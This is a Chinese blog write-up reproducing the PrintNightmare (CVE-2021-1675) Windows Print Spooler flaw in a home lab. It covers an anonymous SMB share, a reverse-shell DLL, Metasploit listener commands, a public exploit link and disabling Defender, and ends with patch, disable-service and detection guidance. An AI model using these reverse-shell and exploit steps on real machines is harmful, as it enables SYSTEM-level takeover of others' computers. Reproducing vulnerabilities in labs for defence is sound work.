admin管理员组文章数量:1632341
漏洞详情
Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的打印机将使用哪个驱动程序的信息。另一个参数,dwFileCopyFlags指定如何复制替换打印机驱动程序文件。攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。
影响版本:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
漏洞复现
环境:windows 2019 server虚拟机 (192.168.175.133)和kali虚拟机(192.168.175.132),虚拟机都是NAT模式。
windows 2019 server中的配置:
windows 2019 server参考https://blog.csdn/wxh0000mm/article/details/120151737另一篇创建域
创建域用户如下:
在服务中启动Print Spooler服务
Print Spooler服务启动之后
关闭windows Defender病毒和威胁防护实时保护,这是因为使用的是反弹shell,反弹shell很早就在windows Defender中被杀掉了。
Kali中的配置:
先把作者的impacket包下载下来运行,链接为
https://github/cube0x0/impacket
运行
cd impacket
python3 ./setup.py install
开启匿名访问SMB
在smb.conf末尾添加
这里我使用原作者的也不行,后面参考了网络上其它人的配置才可以成功访问,在结尾添加了force user = nobody,网上有人说也可以添加force user = smbuser,可以试试
配置完后,开启SMBD,我配置修改之后都重新开启一遍。
因为spoolsv.exe是x64的,所以生成的dll也得是x64,生成dll我使用的是windows/x64/shell_reverse_tcp跟网上一些人的不一样
LHOST 是Kali的IP ,LPORT设置为443 ,生成的反弹shell放在了TMP文件夹下,这个文件夹也是SMBD设置的匿名共享文件夹
开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.175.132 (KALI的IP)
set lport 443 (监听的端口,与生产的DLL一样的配置)
run
exp链接
https://github/cube0x0/CVE-2021-1675
按照示例运行EXP
下面总提示错误,一直没有去管,但是反弹shell好使
简单测试一下:
将在Kali中生成的rever.dll拷贝到Windows 2019 server的C盘中,在Kali中建立监听反弹shell,直接运行Windows中的rever.dll,Kali的反弹监听也可以
解决方案:
更新官方补丁
目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:
https://msrc.microsoft/update-guide/en-US/vulnerability/CVE-2021-1675
关闭Print Spooler服务
若相关用户暂时无法进行补丁更新,可通过禁用 Print Spooler 服务来进行缓解:
1、在服务应用(services.msc)中找到 Print Spooler 服务。
2、停止运行服务,同时将“启动类型”修改为“禁用”。
如果禁用 Print Spooler 服务适合您的企业,请使用以下 PowerShell 命令:
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
关闭打印机服务
Stop-Service Spooler
REG ADD "HKLMSYSTEMCurrentControlSetServicesSpooler" /v "Start " /t
REG_DWORD /d "4" /f
或卸载打印服务
Uninstall-WindowsFeature Print-Services
检测方法
EventID = '11' and Image like 'spoolsv.exe' and TargetFilename like 'C:WindowsSystem32spooldriversx643'
EventID 316Message INFO 316 NT AUTHORITYSYSTEM 已添加或更新 Windows x64
总结:
我没有碰到网上说的利用一次,Print sploor服务会自动关闭,可能跟我运行EXP时下面有一些错误有关
参考文章和项目
-
https://github/cube0x0/CVE-2021-1675
-
https://github/afwu/PrintNightmare
-
https://blog.csdn/ShelleyLiu0415/article/details/47836855
-
https://blog.csdn/weixin_42345596/article/details/118544065
-
http://noahblog.360/cve-2021-1675/
-
https://mp.weixin.qq/s/iNOb6cBAfMwCm2AjqbdEvQ
版权声明:本文标题:CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1729118694a1187396.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论